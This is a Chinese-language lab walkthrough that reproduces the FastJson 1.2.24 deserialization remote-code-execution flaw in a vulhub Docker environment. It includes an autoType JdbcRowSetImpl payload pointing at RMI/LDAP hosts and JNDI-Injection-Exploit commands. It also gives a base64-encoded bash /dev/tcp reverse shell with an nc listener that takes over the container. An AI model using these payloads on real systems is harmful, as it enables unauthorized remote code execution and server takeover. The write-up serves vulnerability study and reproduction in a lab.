fastjson_1.2.24_unserialize_rce
| 说明 | 内容 |
|---|---|
| 漏洞编号 | CNVD-2017-02833 |
| 漏洞名称 | FastJson <= 1.2.24 远程代码执行 |
| 漏洞评级 | 高危 |
| 影响范围 | 1.2.24 |
| 漏洞描述 | 通过parseObject/parse将传入的字符串反序列化为Java对象时由于没有进行合理检查 |
| 修复方案 | 升级组件,打补丁,上设备 |
1.1 漏洞描述
FastJson是Alibaba的一款开源Json解析库,可用于将Java对象转换为其Json表示形式,也可以用于将Json字符串转换为等效的Java对象。近几年来FastJson漏洞层出不穷。RCE漏洞的源头:17年FastJson爆出的1.2.24反序列化漏洞。
关于FastJson1.2.24反序列化漏洞,简单来说,就是FastJson通过parseObject/parse将传入的字符串反序列化为Java对象时由于没有进行合理检查而导致的。
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
1.2 漏洞等级
高危
1.3 影响版本
1.2.24
1.4 漏洞复现
1.4.1 基础环境
| 组件 | 版本 |
|---|---|
| vulhub | /fastjson/1.2.24-rce |
| FastJson | 1.2.24 |
运行测试环境:
sudo docker-compose up -d

环境运行后,访问http://your-ip:8090即可看到JSON格式的输出

1.4.2 漏洞验证
获取数据包:

GET请求转成POST请求,并把表单类型改为json类型,发包测试数据:
{"name":"GHUI","age":23}

上图过程:
json -序列化-> object -反序列化-> json
1.4.3 漏洞检测
可以使用BurpSuite扩展fastjsonScan 进行漏洞检测
下载插件:
proxychains wget https://github.com/Maskhe/FastjsonScan/releases/download/1.0/FastjsonScan.jar
添加插件:


添加成功:

利用:

得到漏洞利用的poc:
{"handsome":{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://p0q52dzlyyr7lwzrv7xvlzozmqsgg5.oastify.com/aaa","autoCommit":true}}

说明:
RMI全称为:Remote Method Invocation 远程方法调用,是java独立的一种机制。
RMI的作用就是在一个java虚拟机调用另一个java虚拟机上对象的方法在网络传输的过程中,RMI中对象是通过序列化的形式进行编码传输,既然有序列化,必然会有反序列化,RMI服务端在接收到序列化后的会将对象进行反序列化。
在反序列化攻击中,我们可能找不到反序列化的点,那么使用RMI就可以作为反序列化利用链的触发点
java远程加载恶意类 RMI
若不知道RMI,可以把RMI理解为类似于http协议远程加载一个类。
使用DNSlog ,查看是否有回显:
第一步:

第二步:

第三步:

第四步:将rmi换成ldap

检测结果:

检测到了,说明我们生成的rmi能够尝试在外部请求资源。
构造RMI服务器:
git config -l #拿到网址:https://github.com/welk1n/JNDI-Injection-Exploit.git
解释:
命令
git config -l用于列出Git版本控制系统的配置信息。通过运行该命令,您可以查看当前项目或全局的Git配置项及其对应的值。这些配置项包括用户名、邮箱、编辑器设置、远程仓库等。

打开网址,有使用说明:
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

1.4.4 漏洞验证
开启RMI服务器:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/ghuii" -A "10.9.75.58"

复制rmi://10.9.75.58:1099/1hjdrq到bp中:

发包:

这里显示有请求。
看一下在tmp中是否创建了ghuii文件:
sudo docker ps -a

sudo docker exec -it 729 /bin/bash


ghuii文件创建成功
居然这里能够创建文件,那么是不是能上传一个反弹shell:
bash -i >& /dev/tcp/10.9.75.58/1234 0>&1#base64编码:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjU4LzEyMzQgMD4mMQ==#将编码放入:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjU4LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}
或者直接构造

开启监听端口:
nc -lnvp 1234

然后把-C里面的数据换掉:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjU4LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "10.9.75.58"

把ldap://10.9.75.58:1389/fuwphp 复制到bp:

发包:

成功监听到。
总结:
Fastjson_1.2.24存在反序列化漏洞。
注:做反弹shell时,需要本地构造一个一个服务器,让对方服务器到本地访问加载资源,然后执行恶意命令。